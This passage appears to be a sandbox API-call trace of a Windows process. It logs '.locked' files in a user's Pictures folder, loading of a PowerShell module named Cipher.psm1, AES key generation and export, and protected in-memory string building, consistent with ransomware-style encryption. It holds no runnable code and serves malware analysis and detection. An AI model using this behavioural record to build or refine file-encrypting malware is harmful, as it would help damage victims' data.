out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", lpFilePart=0x0) returned 0x36 [0137.075] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0137.075] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0137.075] CloseHandle (hObject=0x764) returned 1 [0137.076] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0137.079] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0137.080] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0137.085] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0137.085] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0137.086] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0137.086] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0137.090] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0137.090] GetConsoleOutputCP () returned 0x1b5 [0137.090] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0137.090] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0137.091] GetConsoleOutputCP () returned 0x1b5 [0137.091] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0137.091] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0137.091] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692e9c0*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x692e9c0*, lpNumberOfCharsWritten=0x99ae3a4*=0x2d) returned 1 [0137.092] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0137.092] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0137.095] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0137.095] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0137.097] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0137.100] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0137.100] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0137.100] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0137.104] GetConsoleOutputCP () returned 0x1b5 [0137.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.104] GetConsoleOutputCP () returned 0x1b5 [0137.104] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.104] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.105] GetConsoleOutputCP () returned 0x1b5 [0137.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.106] GetConsoleOutputCP () returned 0x1b5 [0137.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.107] GetConsoleOutputCP () returned 0x1b5 [0137.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.107] GetConsoleOutputCP () returned 0x1b5 [0137.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.107] GetConsoleOutputCP () returned 0x1b5 [0137.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.108] GetConsoleOutputCP () returned 0x1b5 [0137.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.108] GetConsoleOutputCP () returned 0x1b5 [0137.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.108] GetConsoleOutputCP () returned 0x1b5 [0137.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.109] GetConsoleOutputCP () returned 0x1b5 [0137.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.109] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0137.109] GetConsoleOutputCP () returned 0x1b5 [0137.110] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0137.110] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.110] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692f7e8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x692f7e8*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0137.111] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.111] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0137.150] GetConsoleOutputCP () returned 0x1b5 [0137.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.151] GetConsoleOutputCP () returned 0x1b5 [0137.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.151] GetConsoleOutputCP () returned 0x1b5 [0137.151] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.151] GetConsoleOutputCP () returned 0x1b5 [0137.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.152] GetConsoleOutputCP () returned 0x1b5 [0137.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.152] GetConsoleOutputCP () returned 0x1b5 [0137.152] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.152] GetConsoleOutputCP () returned 0x1b5 [0137.153] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.153] GetConsoleOutputCP () returned 0x1b5 [0137.153] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.153] GetConsoleOutputCP () returned 0x1b5 [0137.153] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.153] GetConsoleOutputCP () returned 0x1b5 [0137.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.154] GetConsoleOutputCP () returned 0x1b5 [0137.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.154] GetConsoleOutputCP () returned 0x1b5 [0137.154] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.154] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0137.155] GetConsoleOutputCP () returned 0x1b5 [0137.155] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0137.155] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.155] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6930240*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6930240*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0137.156] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0137.156] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0137.160] GetConsoleOutputCP () returned 0x1b5 [0137.160] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.160] GetConsoleOutputCP () returned 0x1b5 [0137.161] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.161] GetConsoleOutputCP () returned 0x1b5 [0137.161] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.161] GetConsoleOutputCP () returned 0x1b5 [0137.161] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.161] GetConsoleOutputCP () returned 0x1b5 [0137.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.162] GetConsoleOutputCP () returned 0x1b5 [0137.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.162] GetConsoleOutputCP () returned 0x1b5 [0137.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.162] GetConsoleOutputCP () returned 0x1b5 [0137.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.163] GetConsoleOutputCP () returned 0x1b5 [0137.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.163] GetConsoleOutputCP () returned 0x1b5 [0137.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.163] GetConsoleOutputCP () returned 0x1b5 [0137.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.164] GetConsoleOutputCP () returned 0x1b5 [0137.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.164] GetConsoleOutputCP () returned 0x1b5 [0137.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.164] GetConsoleOutputCP () returned 0x1b5 [0137.165] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.165] GetConsoleOutputCP () returned 0x1b5 [0137.165] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.165] GetConsoleOutputCP () returned 0x1b5 [0137.165] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.166] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.166] GetConsoleOutputCP () returned 0x1b5 [0137.166] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.166] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.167] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6932044*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6932044*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.167] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.168] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.172] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.172] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.172] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.172] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.172] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.173] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.173] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.174] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.175] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.175] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.175] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.175] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.176] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x43969b0) returned 1 [0137.177] CryptGenKey (in: hProv=0x43969b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84f78) returned 1 [0137.177] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.177] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.177] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x693bb2c, pdwDataLen=0x99ae894 | out: pbData=0x693bb2c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.177] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xbabc\x693\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0137.178] SysStringLen (param_1="") returned 0x8 [0137.178] SysStringLen (param_1="W") returned 0x8 [0137.178] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.178] SysStringLen (param_1="\x92bf\x366\xdf18\x9435\x953d\x3e70\x40a7\xca43") returned 0x8 [0137.178] SysStringLen (param_1="\x92bf\x366\xdf18\x9435\x953d\x3e70\x40a7\xca43") returned 0x8 [0137.178] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.178] SysStringLen (param_1="Wn") returned 0x8 [0137.178] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.178] SysStringLen (param_1="\x1f49\xbfa7\x7bdf\x563c\xd76a\x86c7\x2b1c\x4a48") returned 0x8 [0137.178] SysStringLen (param_1="\x1f49\xbfa7\x7bdf\x563c\xd76a\x86c7\x2b1c\x4a48") returned 0x8 [0137.178] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.178] SysStringLen (param_1="Wnf") returned 0x8 [0137.178] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.178] SysStringLen (param_1="伷ㅞ㋏輻蒴쳮") returned 0x8 [0137.178] SysStringLen (param_1="伷ㅞ㋏輻蒴쳮") returned 0x8 [0137.178] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.179] SysStringLen (param_1="Wnft") returned 0x8 [0137.179] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.179] SysStringLen (param_1="\x988e\xa78e\xf89a\xc9c\x5244\xbc11\xc726\xb7d9") returned 0x8 [0137.179] SysStringLen (param_1="\x988e\xa78e\xf89a\xc9c\x5244\xbc11\xc726\xb7d9") returned 0x8 [0137.179] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.179] SysStringLen (param_1="Wnft8") returned 0x8 [0137.179] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.179] SysStringLen (param_1="\x7f1\xb0dd\x272c\xa8b6\xe85\x410f\x4c4e\x2672") returned 0x8 [0137.179] SysStringLen (param_1="\x7f1\xb0dd\x272c\xa8b6\xe85\x410f\x4c4e\x2672") returned 0x8 [0137.179] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.179] SysStringLen (param_1="Wnft8V") returned 0x8 [0137.179] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.179] SysStringLen (param_1="\x6b8c\xd799\x4a8e\xda2a\xdc8b\x6cf\xff6b\x8ebf") returned 0x8 [0137.179] SysStringLen (param_1="\x6b8c\xd799\x4a8e\xda2a\xdc8b\x6cf\xff6b\x8ebf") returned 0x8 [0137.179] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.179] SysStringLen (param_1="Wnft8V/") returned 0x8 [0137.179] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.180] SysStringLen (param_1="\x68e9\xa050\x91bd\x8b8a\xcf57\x795\x33e9\x1cbc") returned 0x8 [0137.180] SysStringLen (param_1="\x68e9\xa050\x91bd\x8b8a\xcf57\x795\x33e9\x1cbc") returned 0x8 [0137.180] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.180] SysStringLen (param_1="Wnft8V//") returned 0x8 [0137.180] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, 